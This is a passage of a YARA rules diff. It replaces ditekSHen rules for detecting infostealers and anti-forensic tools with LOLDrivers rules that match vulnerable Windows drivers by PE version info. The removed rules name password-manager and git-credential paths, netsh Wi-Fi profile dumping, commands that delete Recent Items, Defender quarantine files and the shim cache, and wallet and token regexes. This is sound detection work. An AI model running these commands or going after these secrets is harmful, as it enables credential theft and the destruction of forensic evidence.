+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or all of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Passwordmanagers : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_F4E5 : FILE
 {
 	meta:
-		description = "Detects executables referencing many Password Manager software clients. Observed in infostealers"
-		author = "ditekSHen"
-		id = "4da7bf22-fdd7-53b7-bdfc-da7ac5657f6f"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2088-L2099"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6d2f7739282611166a7e06d96345c46df92500b387d9f940169d5ee6664ea5ad"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "f939adf6-310c-5d8a-bfb5-4ebcbd6bccfe"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3584-L3604"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f4e500a9ac5991da5bf114fa80e66456a2cde3458a3d41c14e127ac09240c114"
+		hash = "642857fc8d737e92db8771e46e8638a37d9743928c959ed056c15427c6197a54"
+		logic_hash = "a787fd5e5b62f39a19222a8167382966dd707e2aba99f4c08ad839b221a17e75"
 		score = 40
-		quality = 37
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "1Password\\" ascii wide nocase
-		$s2 = "Dashlane\\" ascii wide nocase
-		$s3 = "nordpass*.sqlite" ascii wide nocase
-		$s4 = "RoboForm\\" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00300035002e00300036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00300035002e00300036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560049004400490041002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Wirelessnetreccon : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Lenovogrouplimitedr_Lenovodiagnosticsdriversys_Lenovodiagnostics_F05B : FILE
 {
 	meta:
-		description = "Detects executables with interest in wireless interface using netsh"
-		author = "ditekSHen"
-		id = "15515523-fe53-5512-95f3-79d0695e7da0"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2101-L2111"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a8614a8c11e3797e7d7fb7ec2c0705fafc98ce50714e48798594e6fb5bfc1789"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LenovoDiagnosticsDriver.sys"
+		author = "Florian Roth"
+		id = "791da32a-272c-5bde-9722-cc4c68321ad7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3607-L3626"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe"
+		logic_hash = "22098d721c4814786834b3ea781283f53d195ba35f51fc8fd75b45f7781d39d4"
 		score = 40
-		quality = 39
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "netsh wlan show profile" ascii wide nocase
-		$s2 = "netsh wlan show profile name=" ascii wide nocase
-		$s3 = "netsh wlan show networks mode=bssid" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073002000440072006900760065007200200066006f0072002000570069006e0064006f0077007300200031003000200061006e00640020006c0061007400650072002e }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c0065006e006f0076006f002000470072006f007500700020004c0069006d00690074006500640020002800520029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c0065006e006f0076006f0044006900610067006e006f00730074006900630073004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a9002000320030003200310020004c0065006e006f0076006f002000470072006f007500700020004c0069006d0069007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Gitconfdata : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_3F20 : FILE
 {
 	meta:
-		description = "Detects executables referencing potentially confidential GIT artifacts. Observed in infostealer"
-		author = "ditekSHen"
-		id = "5462491b-f1cf-55ae-b120-ed09eb9549bc"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2113-L2125"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d8b370ea31fade4f6f4ae12903e40026d806862f6c4a7b5818e3942b6b849fd2"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - pchunter.sys"
+		author = "Florian Roth"
+		id = "ab0247c7-eb20-5481-9fed-f9608dd4cb93"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3629-L3645"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3f20ac5dac9171857fc5791865458fdb6eac4fab837d7eabc42cb0a83cb522fc"
+		logic_hash = "6265acf1ebd52e5efe41774f35b3b01ede27f18c04975ac57afbd62b7d6d7600"
 		score = 40
-		quality = 41
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "GithubDesktop\\Local Storage" ascii wide nocase
-		$s2 = "GitHub Desktop\\Local Storage" ascii wide nocase
-		$s3 = ".git-credentials" ascii wide
-		$s4 = ".config\\git\\credentials" ascii wide
-		$s5 = ".gitconfig" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]7cfb7edf4fe1606f67e5770b5de55177 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]5b8982af7f5176feff0853174eacff0979d1628067099650516c53f8 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0035002e0037 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200032003000310039002d003200300032003100200041006e00580069006e00530065006300200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and filesize <700KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Reversed : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Toshibacorporation_Nchgbiosxsys_Toshibabiospackage_7D4C : FILE
 {
 	meta:
-		description = "Detects reversed executables. Observed N-stage drop"
-		author = "ditekSHen"
-		id = "765b1983-8831-5f7d-9cbd-90af0cd452f7"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2127-L2135"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4d031f59b201f5c5c9b69bbbe277cc10c3b5ed8427c5c2f679fdd33c8bc41501"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NCHGBIOS2x64.SYS"
+		author = "Florian Roth"
+		id = "f3c02bcb-2c9e-5319-a0ac-3773a81d68f6"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3648-L3667"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7d4ca5760b6ad2e4152080e115f040f9d42608d2c7d7f074a579f911d06c8cf8"
+		logic_hash = "a724598247e27cca91bd76f60ebbad471d199ae290c8ec100bcf1efc02b74963"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "edom SOD ni nur eb tonnac margorp sihT" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00420049004f00530020005500700064006100740065002000440072006900760065007200200046006f0072002000570069006e0064006f007700730020007800360034002000450064006900740069006f006e }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0031002e0030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0031002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0054004f00530048004900420041002000420049004f00530020005000610063006b006100670065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200031003900390039002d003200300031003000200054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16( filesize -0x2)==0x4d5a and $s1
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICOUS_EXE_UNC_Regex : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Dell_Dbutil_71FE : FILE
 {
 	meta:
-		description = "Detects executables with considerable number of regexes often observed in infostealers"
-		author = "ditekSHen"
-		id = "968ed633-46ed-5efe-84e5-64718f89fb0a"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2279-L2308"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9201469952c2cacebbcbf6801e2c22d018f36742ffbefedc8ee4aa34f413334a"
-		score = 75
-		quality = 73
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DBUtilDrv2.sys"
+		author = "Florian Roth"
+		id = "172e8e13-e1ff-5caf-9759-d607ef072215"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3670-L3686"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "71fe5af0f1564dc187eea8d59c0fbc897712afa07d18316d2080330ba17cf009"
+		logic_hash = "dad7c23d78176f31a2a324998e3170a5096a50389ff83af590503fac69791890"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "^((8|\\+7|\\+380|\\+375|\\+373)[\\- ]?)?(\\(?\\d{3}\\)?[\\- ]?)?[\\d\\- ]{7,10}$" ascii wide
-		$s2 = "(^(1|3)(?=.*[0-9])(?=.*[a-zA-Z])[\\da-zA-Z]{27,34}?[\\d\\- ])|(^(1|3)(?=.*[0-9])(?=.*[a-zA-Z])[\\da-zA-Z]{27,34})$" ascii wide
-		$s3 = "(^L[A-Za-z0-9]{32,34}?[\\d\\- ])|(^L[A-Za-z0-9]{32,34})$" ascii wide
-		$s4 = "(^q[A-Za-z0-9\\:]{32,54}?[\\d\\- ])|(^q[A-Za-z0-9\\:]{32,54})$" ascii wide
-		$s5 = "^(P|p){1}[0-9]?[\\d\\- ]{7,15}|.+@.+\\..+$" ascii wide
-		$s6 = "(^0x[A-Za-z0-9]{40,42}?[\\d\\- ])|(^0x[A-Za-z0-9]{40,42})$" ascii wide
-		$s7 = "(^X[A-Za-z0-9]{32,34}?[\\d\\- ])|(^X[A-Za-z0-9]{32,34})$" ascii wide
-		$s8 = "^41001[0-9]?[\\d\\- ]{7,11}$" ascii wide
-		$s9 = "^R[0-9]?[\\d\\- ]{12,13}$" ascii wide
-		$s10 = "^Z[0-9]?[\\d\\- ]{12,13}$" ascii wide
-		$s11 = "(^(GD|GC)[A-Z0-9]{54,56}?[\\d\\- ])|(^(GD|GC)[A-Z0-9]{54,56})$" ascii wide
-		$s12 = "(^A[A-Za-z0-9]{32,34}?[\\d\\- ])|(^A[A-Za-z0-9]{32,34})$" ascii wide
-		$s13 = "(^t[A-Za-z0-9]{32,36}?[\\d\\- ])|(^t[A-Za-z0-9]{32,36})$" ascii wide
-		$s14 = "(^r[A-Za-z0-9]{32,34}?[\\d\\- ])|(^r[A-Za-z0-9]{32,34})$" ascii wide
-		$s15 = "(^G[A-Za-z0-9]{32,35}?[\\d\\- ])|(^G[A-Za-z0-9]{32,35})$" ascii wide
-		$s16 = "(^D[A-Za-z0-9]{32,35}?[\\d\\- ])|(^D[A-Za-z0-9]{32,35})$" ascii wide
-		$s17 = "(^(T[A-Z])[A-Za-z0-9]{32,35}?[\\d\\- ])|(^(T[A-Z])[A-Za-z0-9]{32,35})$" ascii wide
-		$s18 = "^1[a-km-zA-HJ-NP-Z1-9]{25,34}$" ascii wide
-		$s19 = "^3[a-km-zA-HJ-NP-Z1-9]{25,34}$" ascii wide
-		$s20 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" ascii wide
-		$s21 = "^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$" ascii wide
-		$s22 = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}|mfa\\.[\\w-]{84}" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440042005500740069006c }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440065006c006c }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0037002e0030002e0030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440042005500740069006c }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200032003000320031002000440065006c006c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e0020 }
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Deleterecentitems : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_6D2C : FILE
 {
 	meta:
-		description = "Detects executables embedding anti-forensic artifacts of deleting Windows Recent Items"
-		author = "ditekSHen"
-		id = "58a14ad6-8f32-54d8-b343-88629af8810b"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2310-L2321"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "01efada47910a345e7bde4e9295754aefec38355193f45c4630f55050d835cd9"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "3a685339-ca77-557e-ad5d-94943d9b3ee1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3689-L3709"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6d2cc7e1d95bb752d79613d0ea287ea48a63fb643dcb88c12b516055da56a11d"
+		hash = "8047859a7a886bcf4e666494bd03a6be9ce18e20dc72df0e5b418d180efef250"
+		logic_hash = "c2c74038259bec413bbacf0957449d1da5291b84c6f6848e5573ca50bbea006f"
 		score = 40
-		quality = 37
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "del C:\\Windows\\AppCompat\\Programs\\RecentFileCache.bcf" ascii wide nocase
-		$s2 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\*" ascii wide nocase
-		$s3 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\*" ascii wide nocase
-		$s4 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310033002e0031003000310039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310033002e0031003000310039 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100330020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Deletewindefenderquarantinefiles : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Atszio_Atsziodriver_673B : FILE
 {
 	meta:
-		description = "Detects executables embedding anti-forensic artifacts of deleting Windows defender quarantine files"
-		author = "ditekSHen"
-		id = "a2b5c531-4e51-5c44-838b-3dffc2ed0263"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2323-L2337"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1cf82a8fb6c878cb3aaeaf36eb346b2f8038e166e8ce7b5c214769e475ae91de"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		id = "bcd5bc05-5e71-5491-be7d-94cdbebddd9f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3712-L3731"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "673bcec3d53fab5efd6e3bac25ac9d6cc51f6bbdf8336e38aade2713dc1ae11b"
+		hash = "31d8fc6f5fb837d5eb29db828d13ba8ee11867d86a90b2c2483a578e1d0ec43a"
+		logic_hash = "d3f753b1bd9dc99cece28a3da9a87e9d211207204f05f573f01391f2c1a08f07"
 		score = 40
-		quality = 29
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "rmdir C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\Entries /S" ascii wide nocase
-		$s2 = "rmdir C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\Resources /S" ascii wide nocase
-		$s3 = "rmdir C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\ResourceData /S" ascii wide nocase
-		$r1 = "rmdir" ascii wide nocase
-		$p1 = "Microsoft\\Windows Defender\\Quarantine\\Entries /S" ascii wide nocase
-		$p2 = "Microsoft\\Windows Defender\\Quarantine\\Resources /S" ascii wide nocase
-		$p3 = "Microsoft\\Windows Defender\\Quarantine\\ResourceData /S" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002c00200032002c00200031002c00200032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030 }
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($s*) or (1 of ($r*) and 2 of ($p*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Deleteshimcache : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asus_Asmmapsys_Atkgenericfunctionservice_025E : FILE
 {
 	meta:
-		description = "Detects executables embedding anti-forensic artifacts of deleting shim cache"
-		author = "ditekSHen"
-		id = "32b185f2-a11e-522e-822e-7023698975f8"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2339-L2350"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4ecd9e4db082a464735e447f95175ec5b35164d42fce7be862400191c143aa23"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - asmmap64.sys"
+		author = "Florian Roth"
+		id = "68572e19-5b92-57fb-b301-0224e00139cd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3734-L3753"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "025e7be9fcefd6a83f4471bba0c11f1c11bd5047047d26626da24ee9a419cdc4"
+		logic_hash = "81100a6b0917bd9d6641c1f3db32353d1fe02b34feb5136c3f316f5deaa32f7d"
 		score = 40
-		quality = 37
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "Rundll32.exe apphelp.dll,ShimFlushCache" ascii wide nocase
-		$s2 = "Rundll32 apphelp.dll,ShimFlushCache" ascii wide nocase
-		$m1 = ".dll,ShimFlushCache" ascii wide nocase
-		$m2 = "rundll32" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0065006d006f007200790020006d0061007000700069006e00670020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005300550053 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200039002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00610073006d006d00610070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004b002000470065006e0065007200690063002000460075006e006300740069006f006e00200053006500720076006900630065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00610073006d006d00610070002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039 }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($s*) or all of ($m*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_Shredfilesteps : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_9724 : FILE
 {
 	meta:
-		description = "Detects executables embedding/copying file shredding steps"
-		author = "ditekSHen"
-		id = "2a4ac767-8946-5e58-9087-aa1d3a97b5d5"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2352-L2365"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9e784c1d06b232ac2de7318854a59b237aeb88d8e6670fe4ecc9f3230310088a"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
+		author = "Florian Roth"
+		id = "a0be3cf9-193d-5bee-ac83-a5701ad9e4e9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3756-L3778"
